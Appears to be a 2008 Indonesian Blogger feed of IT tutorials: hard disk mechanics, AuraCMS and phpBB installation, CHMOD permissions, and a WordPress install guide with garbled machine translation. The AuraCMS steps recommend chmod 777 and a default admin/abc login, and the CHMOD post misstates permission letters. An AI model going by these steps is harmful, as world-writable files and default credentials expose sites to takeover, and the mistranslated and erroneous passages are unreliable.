mekanisme yang digerakkan oleh sebuah motor-linear. Mekanisme ini bergerak dengan kecepatan dan presisi yang sangat tinggi. Lengan pembaca pada kebanyakan hard disk saat ini mampu bergerak dari pusat hingga pinggir platter, dan kemudian kembali ke pusat sebanyak 50 kali sedetik.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_sstraCTWhNA/SWNIlbdd51I/AAAAAAAAAGY/5UYE-iFDtTg/s1600-h/hd6.jpg"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 200px; height: 152px;" src="http://4.bp.blogspot.com/_sstraCTWhNA/SWNIlbdd51I/AAAAAAAAAGY/5UYE-iFDtTg/s200/hd6.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5288150195326805842" /></a><br /><br />Cara Kerja Hard disk<br />Saat Anda menyimpan data, di dalam komputer berlangsung suatu proses yanga sangat kompleks. Mulai dari penerjemahan data hasil hentakan kibor, pengiriman data ke motherboard dan akhirnya masuk ke dalam hard disk.<br />Data dari motherboard dibaca oleh drive controller PCB pada hard disk dan menjadi perintah-perintah tertentu yang akan menggerakkan head arm (lihat bagan). Begitulah, head atau jarum optik kemudian bergerak di atas cakram penyimpan data yang berkecepatan tinggi dan menuliskan data yang Anda simpan ke dalam track.<br />Setiap track biasanya mampu menampung data 100.000 byte atau lebih. Agar lebih efisien dan bisa menyimpan file berukuran kecil, track dibagi menjadi beberapa sector yang dapat menyimpan data sebesar 512 byte.<br />Kebanyakan hard disk modern memiliki dua atau tiga cakram dengan satu head pada setiapnya. Pada model lama, head akan menekan cakram saat menulis data dan kemudian mengambang saat nonaktif. Desain ini disebut CSS (Contact Start Stop).<br />Bila head menekan cakram secara terus menerus, maka bisa terjadi kerusakan hard disk yang disebut head crash. Jika terjadi berulang kali, cakram dapat tergores dan mengakibatkan hilangnya data atau bad sector.<br />Pada hard disk modern, potensi kejadian seperti itu lebih kecil, karena mekanismenya berganti menjadi load/ unload. Mekanisme baru ini mencegah kontak langsung antara head dengan cakram, baik saat PC dalam keadaan menyala atau mati.<br />Walau demikian, hard disk tetaplah merupakan komponen PC yang rawan rusak, sehingga sebaiknya dijalankan secara normal. Kerusakan hard disk paling sering adalah akibat crash program, tegangan listrik yang tak stabil, goncangan atau terjatuh<br /></span>Wahyoe TKJhttp://www.blogger.com/profile/13798186938608644628noreply@blogger.com0tag:blogger.com,1999:blog-3898445254899960720.post-60980285544811644152008-11-21T01:51:00.000-08:002008-11-21T02:02:20.072-08:00Instalasi AURA CMS<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_sstraCTWhNA/SSaFj-QeQXI/AAAAAAAAAGQ/WozWmwBZusY/s1600-h/aura+cms.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 186px; height: 200px;" src="http://2.bp.blogspot.com/_sstraCTWhNA/SSaFj-QeQXI/AAAAAAAAAGQ/WozWmwBZusY/s200/aura+cms.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5271047266937749874" /></a><br /><br /><br />Langkah-langkah instalasi:<br /><br />1. Extract file ZIP yang di download ke folder / directory yang baru<br />2. Edit file config.php,<br /><br /><span class="fullpost"><br /><br />ganti parameter yang ada dengan parameter Anda punya seperti :<br />host, database, username, password untuk MySQL server<br /><br /><br /><br />3. Set up table dan data di MySQL database Anda<br />Dump auracms15.sql dengan PHPMyAdmin atau MySQLFront<br />4. Untuk mengganti tampilan situs, edit default theme yang di set di<br />config.php, pada themes/… directory/folder<br />buka header.php & footer.php, lakukan perubahan seperlunya<br /><br /><br />5. Upload file ke webhosting.<br />set file permission seperti berikut :<br />chmod 755 untuk file-file *.php<br />chmod 777 untuk folder /images<br />chmod 777 untuk folder /files<br />chmod 777 to file /mod/online.db.txt<br />chmod 777 to file /mod/counter.txt<br />chmod 777 to file /mod/month.txt<br />chmod 777 to file /mod/today.txt<br />6. Selesai !<br /><br />Sekarang Anda bisa mengakses situs Anda di http://www.yourdomain.com/<br /><br />UntuK diingat :<br /><br />Layar admin bisa diakses dari http://www.yourdomain.com/admin/<br />ATAU<br />http://www.yourdomain.com/?pilih=admin<br /><br />Untuk login pertama gunakan :<br />username => admin<br />password => abc<br /><br /></span>Wahyoe TKJhttp://www.blogger.com/profile/13798186938608644628noreply@blogger.com0tag:blogger.com,1999:blog-3898445254899960720.post-62625081535952838942008-11-19T19:58:00.000-08:002008-11-19T20:03:15.634-08:00Langkah-langkah membuat ForumDalam tutorial ini saya pengen nulis langkah-langkah membuat forum sendiri karena ternyata membuat forum tidak sesulit yang dibayangkan. Bahkan sekarang sudah banyak web yang menyediakan web forum gratis. Kekurangan forum gratis ini adalah kita tidak bisa akses file-file dan database forum. Jadi, kita akan kesulitan untuk memodifikasi forum seperti template, logo, avatar dll. <br /><br /><span class="fullpost"><br />Di antara template board yang umum dan banyak digunakan antara lain: phpBB, Invision Power Board dan vBulletin. PhpBB menyediakan template gratis dan mudah dikonfigurasi (untuk pemula mungkin lebih cocok). Jika mau yang lebih advance bisa pilih vBulletin atau Invision Power Board. Kedua template board yang terakhir ini tidak gratis. Dibawah nanti akan saya sertakan link-nya. <br /><br />Selanjutnya cari web host gratis (jika tidak punya domain sendiri lho). Ada banyak pilihan host gratis seperti 275mb.com, 3000mb.com, phpnet.us. Yang mesti diperhatikan dalam memilih host gratis adalah fasilitas yang <br /><br />disediakan, spt MySQL database (mesti ada), FTP akses (memudahkan upload file) dan permision setting (CHMOD folder/file). <br /><br /><br />Dalam tutorial singkat ini kita akan mencoba membuat forum di salah satu web host gratis. Misal kita pilih host 275mb.com sebagai hostnya. Pertama masuk ke web tersebut dan daftar account baru dng username yang kita pilih. Setelah proses pendaftaran selesai kita akan mendapat konfirmasi account melalui email: login, password, ftp akses, mysqlusername dan password. <br /><br />Alamat web kita nantinya adalah seperti ini: http://username.275mb.com. <br /><br />Nama username bisa kita pilih sendiri. Set template phpbb bisa didownload dari web resmi phpBB: http://www.phpbb.com/downloads.php. Kemudian login ke 275mb.com dengan username dan password kita. Ini untuk mengaktifkan MySQL database kita (contoh mysqldatabase kita adalah '278536') kemudian logout. Dari informasi ftp akses yang diberikan, upload template kita ke server menggunakan ftp client, cuteFTP mungkin pilihan yang sesuai. File dan folder yang perlu diupload adalah semua yang ada dalam folder 'phpBB2' yang telah kita download. Jika sudah masuk delete semua file atau folder yang ada. Karena template akan kita masukkan ke dalam folder 'forum' maka buat folder baru dengan nama 'forum'. Upload semua file ke dalam folder 'forum' menggunakan ftp client, langkah ini mungkin agak memakan waktu. Setelah proses upload selesai sekarang siap dilakukan proses instalalasi. <br /><br />Dibawah ini contoh forum yang akan kita buat: <br /><br />Alamat forum : http://username.275mb.com/forum/ <br />Template board : phpBB <br />Databasename : 278536 <br />Databaseusername : 278536 <br />Password : 'yourpassword' <br />ftp akses : ftp://username.275mb.com <br />ftp login : username.275mb.com <br />password : 'yourpassword' <br /><br />Sebelumnya CHMOD file config.php dari ftp client menjadi 666. Ini memberi permision agar file bisa ditulis. Jangan lupa untuk merubah ke 644 jika sudah selesai. Buka internet browser (IE, Firefox dll). Ketik alamat tempat folder instalasi: <br /><br />http://username.275mb.com/forum/install/install.php <br /><br />Proses ini akan membawa kita kepada windows baru spt gambar dibawah <br /> <a href="http://4.bp.blogspot.com/_sstraCTWhNA/SSThEwjSl2I/AAAAAAAAAFA/NoNa3zeTOPQ/s1600-h/phpbbur2.jpg"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 200px; height: 161px;" src="http://4.bp.blogspot.com/_sstraCTWhNA/SSThEwjSl2I/AAAAAAAAAFA/NoNa3zeTOPQ/s200/phpbbur2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5270584935798970210" /></a><br />Isikan informasi yang ada (sesuai informasi yang diberikan dalam email). Contoh: <br /><br />Database Server Hostname / DSN: localhost (default) <br />Your Database Name: 278536 <br />Database Username: 278536 <br />Database Password: 'yourpassword' <br />Prefix for tables in database: phpbb_ (default) <br /><br />Admin Email Address: 'email_kita@email_kita.com' <br />Domain Name: <br />Server Port: 80 <br />Script path: /forum/ <br />Administrator Username: bisa diisi username lain, misal nama kita <br />Administrator Password: 'password_baru' <br />Administrator Password [ Confirm ]: 'password_baru' <br /><br />Klik install dan tunggu sampai selesai. Di akhir instalasi ada perintah untuk mendelete folder 'install' dan 'contrib'. Delete dari ftp client Kemudian login dan forum siap dimodifikasi.<br /><br />_________________<br /> <br /><br /></span>Wahyoe TKJhttp://www.blogger.com/profile/13798186938608644628noreply@blogger.com0tag:blogger.com,1999:blog-3898445254899960720.post-85781671394011591142008-10-27T23:18:00.000-07:002008-10-27T23:34:55.479-07:00Angka CHMODAngka-angka seperti 666,664,644,444,777,775,755 dalam urusan hosting linux disebut angka CHMOD (cemot). Saya menyebbutnya angka cemot biar mudah mengingatnya. Biasanya seorang pemula bertidank serba salah dalam memahami apa artinya angka cemot ini. Malah dalam installasi joomla 1.0.xx soal angka ‘aneh’ ini lebih ribet ketimbang Joomla bontot (1.5.xx). Untuk itu saya akan mencoba menguak tabik misteri angka cemot di situs Joomla. Bagi yang sudah mahir dalam CHMOD, mohon bantuannya mengkritisi tulisan ini. Yuk, mari menguliti si CEMOT ini.<br /><br /><a href="http://4.bp.blogspot.com/_sstraCTWhNA/SQava_nIZEI/AAAAAAAAAEA/5WacStsqyuE/s1600-h/file_664_aman_hati2.jpg"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 192px; height: 200px;" src="http://4.bp.blogspot.com/_sstraCTWhNA/SQava_nIZEI/AAAAAAAAAEA/5WacStsqyuE/s200/file_664_aman_hati2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5262086092916024386" /></a><br /><br /><br /><span class="fullpost"><br /><br />Tri Mas Kentir Permissions<br /><br />Joomla didesain memang untuk gratisan sehingga harus bermain-main juga dengan mesin-mesin gratisan. Salah satunya adalah jenis operasi system web server yang gratisan juga (open source). Namanya si Om Unix atawa Linux. Beda banget dengan Pak de Windows, Linux didesain dengan kerumitan sekuriti yang berlapis dan berlipat. Salah satunya adalah akses keamanan di folder(directory) dan file.<br /> <br />Ada tiga palang ijin yang harus dibedakan dalam mengakses folder dan file di linux/unix. Palang ini oleh Tri Mas Kentir dibagi tiga hak akses (permissions) yaitu<br /><br />1. Owner Permissions : Ini adalah izin tertinggi dalam penguasaan file dan folder. Owner adalah izin tertingga dalam mengakses segala yang ada dalam system, ruangan batas sumberdaya atau folder.<br /><br />Bila anda membeli sewa share-hosting web site anda akan mendapat hak owner atas folder atau file yang sudah ditentukan. Jadi anda adalah raja kecil dalam sebuah server. Ada banyak raja kecil yang menguasai hak akses owner/ kepemilikan dalam folder. Biasanya setiap username yang diberikan oleh administrator server hanya terbatas pada folder yang anda miliki. Jadi tidak menguasai seluruh system server. Lain halnya anda memiliki server sendiri (dedicated/private).<br /><br /><a href="http://1.bp.blogspot.com/_sstraCTWhNA/SQawQVpDKhI/AAAAAAAAAEI/zTaK7xFB84g/s1600-h/folder_777_berbahaya.jpg"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 193px; height: 200px;" src="http://1.bp.blogspot.com/_sstraCTWhNA/SQawQVpDKhI/AAAAAAAAAEI/zTaK7xFB84g/s200/folder_777_berbahaya.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5262087009362717202" /></a><br /><br /><br />2. Group Permissions : Biasanya dalam system yang rumit dan banyak penggunanya diperlukan pengaturan pengelompokkan. Sengaja diciptakan pengelompokkan untuk memudahkan pengontrolan. Oleh karena itu system linux mengadopsi pola kepemilikan kelompok. Disebutnya group. Group-group ini memiliki hak izin akses terhadap folder dan file yang sudah ditentukan. Makanya disebut group permissions.<br /><br />Kalau anda share hosting, maka pemissions group tidak terlalu dipentingkan. Biarkan saja f default alias tidak diotak-atik. Jangan dilupakan, dalam group itu anda juga bagian dalam kelompok (grup permissions) itu. Jadi berhati-hatilah dalam mengontrol hak akses itu.<br /><br /><a href="http://4.bp.blogspot.com/_sstraCTWhNA/SQawzfI6GUI/AAAAAAAAAEQ/48CrruhJrdg/s1600-h/chmod_file_644_aman.jpg"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 192px; height: 200px;" src="http://4.bp.blogspot.com/_sstraCTWhNA/SQawzfI6GUI/AAAAAAAAAEQ/48CrruhJrdg/s200/chmod_file_644_aman.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5262087613207681346" /></a><br /><br />3. Other Permissions : Ini merupakan hak izin akses yang diberikan pemilik web site ke user visitor. Jadi orang lain (others) diberikan hak untuk mengakses folder dan situs. Bagaimana caranya? Hal apa saja yang boleh dilakukan? Perlakuan apa aja? Dan apa batasannya<br /><br /><a href="http://4.bp.blogspot.com/_sstraCTWhNA/SQaxI2GkbeI/AAAAAAAAAEY/2RQp8wkZY1E/s1600-h/kuning.jpg"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 192px; height: 200px;" src="http://4.bp.blogspot.com/_sstraCTWhNA/SQaxI2GkbeI/AAAAAAAAAEY/2RQp8wkZY1E/s200/kuning.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5262087980149140962" /></a><br /><br />Pertanyaan diatas merupakan langkah selanjutnya untuk membicarakan tindakan, perlakuan, kegiatan, dan upaya apa yang boleh dilakukan oleh ketiga user (Owner,groups,other) tersebut.<br /><br />Ketiga om-om senang itu yaitu Owner,groups,other mempunyai 3 hak untuk melakukan sesuatu. Mereka dibebaskan boleh melakukan 3 hal dalam mengakses folder dan file. Ketiga hal itu adalah yang pertama boleh melakukan pengubahan atas file dan folder. Disebutkan hak execute (X). Nilai angkanya adalah 1. Sementara bila ia melakukan proses edit,ubah, ganti,rename,copy dan lain-lain dalam urusan menulisi hardisk disebut hak write (tulis). Biasanya disingkat huruf S. Nilai hak ini adalah 2. Yang terakhir adalah hak read ajah. Hak ini hanya untuk melihat-lihat saja, tidak bisa melakukan proses tulis (write) dan execute. Nilainya lebih besar yaitu 4.<br /><br /><a href="http://3.bp.blogspot.com/_sstraCTWhNA/SQaxaGG6xQI/AAAAAAAAAEg/I0F4RjMNY7c/s1600-h/merah.jpg"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 192px; height: 200px;" src="http://3.bp.blogspot.com/_sstraCTWhNA/SQaxaGG6xQI/AAAAAAAAAEg/I0F4RjMNY7c/s200/merah.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5262088276503348482" /></a><br /><br />Pembagian permissions ini dengan nilai angka berkaitan. Angkanya unik. Yuk kita bahas. Pikirkan bahwa folder dan file dikerubuti oleh 3 orang gila (tri mas gentir) yaitu owner, groups, dan others. Ketiga mas (teng) ini mendapat izin boleh execute, boleh write dan juga boleh read. Tergantung pemberiannya. Jadi ketiga om-om (senang) ini angka memiliki angka konfigurasi seperti ini yaitu 666, 644, 775 atau 777.<br /><br />Silakan di lihat gambar-gambar yang memiliki tiga warna tersebut. Tabel berwarna merah yaitu CHMOD folder 777 dan CHMOD file 666.<br /><br />Angka nol menunjukkan bahwa tidak ada hak akses terhadap file.<br /><br />Untuk detailnya silakan lihat pembahasan lebih lanjut di artikel berikutnya yaitu tentang arti empat gambar tersebut di Joomla. Judul <br /><br /><br /><a href="http://3.bp.blogspot.com/_sstraCTWhNA/SQax12r70xI/AAAAAAAAAEo/aC9Em-UmnNc/s1600-h/hijau.jpg"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 191px; height: 200px;" src="http://3.bp.blogspot.com/_sstraCTWhNA/SQax12r70xI/AAAAAAAAAEo/aC9Em-UmnNc/s200/hijau.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5262088753399976722" /></a><br /><br /><br />Misteri angka cemot ini menunjukkan tingkat keamanan dari jangkauan luas. Selama situs anda dipublish/share/ditontontkan ke orang luar maka yang mesti diingat adalah pertanyaan berikut ini?<br /><br />1. Siapakah sajakah user yang boleh akses ke folder dan file? Apa nama kelompoknya? Usergoup mana?<br /><br />2. Apa tingkat permissions yang boleh diberikan. Apakah seluruhnya? atau sebagian? Kapan CHMOD harus ditutup untuk publik? Kapan CHMOD harus dibuka publik?<br /><br />3. Siapa saja (user) yang boleh mengakses folder/file secara menyeluruh<br /><br />Di joomla user (visitor) permissions terbuka di registrasi dan forum di community builder. Dan beberapa komponen joomla yang membuka user pengunjung untuk terlibat dalam menulis (write) dan read (baca) file dan folder. Amankah? Semua tergantung anda. Tetap waspada.<br /><br /><br /><br /></span>Wahyoe TKJhttp://www.blogger.com/profile/13798186938608644628noreply@blogger.com0tag:blogger.com,1999:blog-3898445254899960720.post-4068889007104048602008-10-27T23:03:00.000-07:002008-10-27T23:05:56.226-07:00Instalasi AuraCMSInstalasi AuraCMS<br /><br />Langkah-langkah instalasi:<br /><br />1. Extract file ZIP yang di download ke folder / directory yang baru<br />2. Edit file config.php,<br />ganti parameter yang ada dengan parameter Anda punya seperti :<br />host, database, username, password untuk MySQL server<br /><br />3. Set up table dan data di MySQL database Anda<br />Dump auracms15.sql dengan PHPMyAdmin atau MySQLFront<br />4. Untuk mengganti tampilan situs, edit default theme yang di set di<br />config.php, pada themes/… directory/folder<br />buka header.php & footer.php, lakukan perubahan seperlunya<br /><span class="fullpost"><br /><br />5. Upload file ke webhosting.<br />set file permission seperti berikut :<br />chmod 755 untuk file-file *.php<br />chmod 777 untuk folder /images<br />chmod 777 untuk folder /files<br />chmod 777 to file /mod/online.db.txt<br />chmod 777 to file /mod/counter.txt<br />chmod 777 to file /mod/month.txt<br />chmod 777 to file /mod/today.txt<br />6. Selesai !<br /><br />Sekarang Anda bisa mengakses situs Anda di http://www.yourdomain.com/<br /><br />UntuK diingat :<br /><br />Layar admin bisa diakses dari http://www.yourdomain.com/admin/<br />ATAU<br />http://www.yourdomain.com/?pilih=admin<br /><br />Untuk login pertama gunakan :<br />username => admin<br />password => abc<br /></span>Wahyoe TKJhttp://www.blogger.com/profile/13798186938608644628noreply@blogger.com0tag:blogger.com,1999:blog-3898445254899960720.post-88200080648285217632008-10-27T22:23:00.000-07:002008-10-27T22:32:05.743-07:00Instalasi Wordpress di LAMP pada UbuntuHal-hal yang diperlukan untuk instalasi<br /><br />You need access to your site and its directory and software to proceed with the installation. Anda memerlukan akses ke situs Anda dan direktori dan perangkat lunak untuk melanjutkan dengan instalasi, antara lain :<br /><span class="fullpost"><br /><br /> * An access to your web server (via shell or FTP ) Sebuah akses ke web server (melalui shell atau FTP)<br />* A text editor Sebuah editor teks<br />* An FTP Client (if you need to install WordPress on a remote server) Sebuah Klien FTP (jika anda perlu menginstal WordPress di server jauh)<br />* Your web browser of choice Browser web pilihan<br /><br />Things You Need to Do For The Installation Hal-hal yang perlu anda lakukan untuk instalasi<br /><br />Begin your installation by: Anda mulai dengan instalasi:<br /><br />1. Checking to ensure that you and your web host have the minimum requirements to run WordPress . Memeriksa untuk memastikan bahwa Anda dan web host memiliki persyaratan minimum untuk menjalankan WordPress.<br />2. Download the latest release of WordPress. download rilis terbaru dari WordPress.<br />3. Unzip the downloaded file to a folder on your hard drive. Unzip file yang didownload ke folder pada hard drive anda.<br />4. Print this page out so you have it handy during the installation. Cetak halaman ini keluar sehingga Anda memiliki itu berguna ketika melakukan instalasi.<br /><br />Famous 5-Minute Install Terkenal 5 Menit Instalasi<br /><br />Here's the quick version of the instructions, for those that are already comfortable with performing such installations. Berikut ini versi cepat petunjuk, bagi mereka yang sudah nyaman dengan melakukan instalasi tersebut. More detailed instructions follow. Lebih rinci petunjuk ikuti.<br /><br />1. Download and unzip the WordPress package, if you haven't already. Download dan unzip dalam paket WordPress, jika Anda belum.<br />2. Create a database for WordPress on your web server, as well as a MySQL user who has all privileges for accessing and modifying it. Buat database untuk WordPress pada server Web Anda, juga sebagai user MySQL yang memiliki semua hak untuk mengakses dan memodifikasi itu.<br />3. Rename the wp-config-sample.php file to wp-config.php . Nama wp-config-sample.php file wp-config.php.<br />4. Open wp-config.php in your favorite text editor and fill in your database details . Buka wp-config.php favorit Anda dalam editor teks dan isi rincian database anda.<br />5. Place the WordPress files in the desired location on your web server: Letakkan file WordPress di lokasi yang dikehendaki pada server Web Anda:<br />* If you want to integrate WordPress into the root of your domain (eg http://example.com/ ), move or upload all contents of the unzipped WordPress directory (but excluding the directory itself) into the root directory of your web server. Jika Anda ingin mengintegrasikan WordPress ke dalam akar domain Anda (misalnya http://example.com/), memindahkan atau meng-upload semua isi dari direktori unzipped WordPress (tetapi tidak termasuk direktori itu sendiri) ke root direktori web server Anda.<br />* If you want to have your WordPress installation in its own subdirectory on your web site (eg http://example.com/blog/ ), rename the directory wordpress to the name you'd like the subdirectory to have and move or upload it to your web server. Jika Anda ingin memiliki instalasi WordPress Anda sendiri dalam subdirektori pada situs web Anda (misalnya http://example.com/blog/), nama direktori wordpress untuk nama yang Anda ingin untuk memiliki subdirektori dan memindahkan atau meng-upload Anda ke web server. For example if you want the WordPress installation in a subdirectory called "blog", you should rename the directory called "wordpress" to "blog" and upload it to the root directory of your web server. Misalnya jika Anda ingin instalasi WordPress di sebuah subdirektori yang bernama "blog", Anda harus mengubah nama direktori yang disebut "susu" untuk "blog" dan meng-upload ke root direktori web server Anda.<br /><br />Hint : If your FTP transfer is too slow read how to avoid FTPing at : Step 1: Download and Extract . Petunjuk: Jika anda transfer FTP terlalu lambat membaca cara untuk menghindari FTPing di: Langkah 1: Download dan Extract.<br />6. Run the WordPress installation script by accessing wp-admin/install.php in your favorite web browser. Jalankan skrip instalasi WordPress dengan mengakses wp-admin/install.php favorit Anda di web browser.<br />* If you installed WordPress in the root directory, you should visit: http://example.com/wp-admin/install.php Jika anda menginstal WordPress di root direktori, Anda harus mengunjungi: http://example.com/wp-admin/install.php<br />* If you installed WordPress in its own subdirectory called blog , for example, you should visit: http://example.com/blog/wp-admin/install.php Jika anda menginstal WordPress dalam subdirektori bernama blog sendiri, misalnya, Anda harus mengunjungi: http://example.com/blog/wp-admin/install.php<br /><br />That's it! Itu saja! WordPress should now be installed. WordPress sekarang harus dipasang.<br /><br />See also: Lihat juga:<br /><br />* Example WordPress installation Contoh instalasi WordPress<br />* A Beginner's Guide to Installing Wordpress on Your Own Domain A untuk Pemula Panduan Instalasi wordpress pada domain Anda sendiri<br />* Visual tutorial on how to install Wordpress Visual tutorial tentang cara menginstal Wordpress<br />* Screencast: How to Install WordPress on IIS7, Windows Server 2008 Screencast: Cara Install WordPress di IIS7, Windows Server 2008<br />* Installing WordPress-An Audio-Visual Presentation Instalasi-Wordpress audio-visual presentasi<br />* WordPress Installation Tutorial Tutorial Instalasi WordPress<br />* How to install the latest version of WordPress Cara menginstal versi terbaru dari WordPress<br /><br />Detailed Instructions Petunjuk rinci<br />Step 1: Download and Extract Langkah 1: Download dan Extract<br /><br />Download and unzip the WordPress package from http://wordpress.org/download/ . Download dan unzip paket dari WordPress yang http://wordpress.org/download/.<br /><br />* If you will be uploading WordPress to a remote web server, download the WordPress package to your computer with your favorite web browser and unzip the package. Jika Anda akan meng-upload WordPress untuk remote server Web, men-download WordPress paket ke komputer dengan web browser favorit Anda dan unzip paket.<br />* If you have shell access to your web server, and are comfortable using console-based tools, you may wish to download WordPress directly to your web server using wget (or lynx or another console-based web browser) if you want to avoid FTPing : Jika Anda memiliki shell akses ke web server, dan nyaman menggunakan alat bantu berbasis konsol, Anda mungkin ingin men-download WordPress langsung ke web server menggunakan wget (atau lynx atau konsol lain berbasis web browser) jika Anda ingin menghindari FTPing:<br />o wget http://wordpress.org/latest.tar.gz wget http://wordpress.org/latest.tar.gz<br />o Then unzip the package using: Kemudian unzip paket menggunakan:<br />tar -xzvf latest.tar.gz tar-xzvf latest.tar.gz<br /><br />The WordPress package will extract into a folder called wordpress in the same directory that you downloaded latest.tar.gz . WordPress paket yang akan Ekstrak ke dalam folder bernama susu yang sama di direktori yang akan di-download latest.tar.gz.<br /><br />* If you do not have shell access to your web server, or you are not comfortable using console-based tools, you may wish to deploy WordPress directly to your web server using ZipDeploy . Jika Anda tidak memiliki shell akses ke web server Anda, atau Anda tidak nyaman menggunakan alat bantu berbasis konsol, Anda mungkin ingin menyebarkan WordPress langsung ke server Web Anda menggunakan ZipDeploy.<br /><br />Step 2: Create the Database and a User Langkah 2: Buat Database dan Pengguna<br /><br />If you are using a hosting provider , you may already have a WordPress database set up for you, or there may be an automated setup solution to do so. Jika Anda menggunakan hosting selular, Anda mungkin sudah memiliki WordPress database anda untuk anda, atau mungkin ada solusi setup otomatis untuk melakukannya. Check your hosting provider's support pages or your control panel for clues about whether or not you'll need to create one manually. Periksa penyedia hosting Anda mendukung halaman atau Anda kontrol panel untuk petunjuk tentang apakah Anda akan atau tidak perlu membuat satu secara manual.<br /><br />If you determine that you'll need to create one manually, follow the instructions for accessing phpMyAdmin on various servers , or follow the instructions for Using cPanel or Using phpMyAdmin below. Jika Anda menentukan bahwa Anda perlu membuat satu secara manual, ikuti instruksi untuk mengakses phpMyAdmin pada berbagai server, atau ikuti petunjuk untuk Menggunakan cPanel atau Menggunakan phpMyAdmin di bawah ini.<br /><br />If you are installing WordPress on your own web server, follow the Using phpMyAdmin or Using the MySQL Client instructions below to create your WordPress username and database. Jika Anda menginstal WordPress pada server Web Anda sendiri, ikuti Menggunakan phpMyAdmin atau Menggunakan MySQL Klien petunjuk di bawah ini untuk menciptakan WordPress username dan database.<br /><br />If you have only one database and it is already in use, you can install WordPress in it - just make sure to have a distinctive prefix for your tables, to avoid over-writing any existing database table. Jika Anda hanya memiliki satu database dan sudah digunakan, Anda dapat memasang WordPress di dalamnya - hanya pastikan untuk memiliki awalan istimewa untuk Anda meja, untuk menghindari lebih dari apapun yang ada tulisan-tabel database.<br />Using cPanel Menggunakan cPanel<br /><br />Main article: Using cPanel Artikel utama: Menggunakan cPanel<br /><br />If your hosting provider uses cPanel , you may follow these instructions to create your WordPress username and database. Jika Anda menggunakan hosting selular cPanel, Anda dapat ikuti petunjuk untuk membuat Anda WordPress username dan database.<br /><br />1. Log in to your cPanel . Log in ke account cPanel.<br />2. Click MySQL Databases . Klik database mysql.<br />3. If a user relating to WordPress does not already exist under the Users section, create one: Jika pengguna yang berkaitan dengan WordPress sudah tidak ada di bawah Pengguna seksi, membuat satu:<br />1. Chose a username for WordPress (' wordpress ' is good) and enter it in the UserName field. Memilih nama pengguna untuk WordPress ( 'kaya' yang baik) dan memasukkannya dalam UserName lapangan.<br />2. Choose a difficult-to-guess password (ideally containing a combination of upper- and lower-case letters, numbers, and symbols), and enter it in the Password field. Pilih-sulit untuk menebak-sandi (idealnya berisi kombinasi atas dan huruf kecil, nomor, dan simbol), dan memasukkannya dalam Password lapangan.<br />3. Write down the username and password you chose. Catat username dan password yang Anda pilih.<br />4. Click Add User . Klik menambahkan pengguna.<br />4. If a database relating to WordPress does not already exist under the Databases section, create one: Jika database yang berkaitan dengan WordPress sudah tidak ada di bawah bagian Database, membuat satu:<br />1. Choose a name for your WordPress database (' wordpress ' or ' blog ' are good), enter it in the Db field, and click Add Db . Pilih nama anda WordPress untuk database ( 'kaya' atau 'blog' yang baik), masukkan dalam bidang Db, dan klik Tambah dB.<br />5. Under Databases , select your WordPress username from the User dropdown, then select your WordPress database from the Db dropdown. Dalam Database, Wordpress username Anda pilih dari dropdown Pengguna, kemudian pilih Anda WordPress database dari dropdown Db. Make sure All is checked under Privileges , then click Add User to Db . Pastikan Semua diperiksa di bawah Privileges, kemudian klik Add User untuk dB.<br />6. When you return to the main MySQL Account Maintenance screen, cPanel will list information about the database you just created. Bila Anda kembali ke utama MySQL Account Pemeliharaan layar, cPanel akan daftar informasi tentang database yang baru Anda buat. You should see the username you just added to the database (with ALL PRIVILEGES ), as well as a few sample Connection Strings for you to use in Perl or PHP scripts to connect to the database. Anda harus melihat nama pengguna Anda hanya ditambahkan ke database (dengan SEMUA PRIVILEGES), serta beberapa sampel Koneksi Strings untuk Anda untuk digunakan di Perl atau PHP script untuk koneksi ke database. The PHP code will have the following format: Kode PHP yang akan memiliki format berikut:<br /><br />$dbh = mysql_connect(" hostname ", " username ", "") or die (" message "); $ DBH = mysql_connect ( "hostname", "username", "") atau mati ( "pesan");<br />mysql_select_db(" databasename "); mysql_select_db ( "databasename");<br /><br />Write down the values of hostname , username , databasename , and the password you chose. Catat nilai-nilai hostname, username, databasename, dan password yang Anda pilih. (Note that hostname will usually be localhost .) (Catatan nama host yang akan biasanya localhost.)<br /><br />Using phpMyAdmin Menggunakan phpMyAdmin<br /><br />If your web server has phpMyAdmin installed, you may follow these instructions to create your WordPress username and database. Jika Anda memiliki web server phpMyAdmin terinstal, Anda dapat ikuti petunjuk untuk membuat Anda WordPress username dan database.<br /><br />Note: These instructions are written for phpMyAdmin 2.6.0; the phpMyAdmin user interface can vary slightly between versions. Catatan: petunjuk ini ditulis untuk phpMyAdmin 2.6.0; phpMyAdmin user interface yang dapat sedikit berbeda antara versi.<br /><br />1. If a database relating to WordPress does not already exist in the Database dropdown on the left, create one: Jika database yang berkaitan dengan WordPress sudah tidak ada di Database dropdown di sebelah kiri, membuat satu:<br />1. Choose a name for your WordPress database (' wordpress ' or ' blog ' are good), enter it in the Create new database field, and click Create . Pilih nama anda WordPress untuk database ( 'kaya' atau 'blog' yang baik), masukkan dalam bidang Buat database baru, dan klik Buat.<br />2. Click the Home icon in the upper left to return to the main page, then click Privileges . Klik icon Home di sudut kiri untuk kembali ke halaman utama, kemudian klik Privileges. If a user relating to WordPress does not already exist in the list of users, create one: Jika pengguna yang berkaitan dengan WordPress sudah tidak ada dalam daftar pengguna, membuat satu:<br />1. Click Add a new 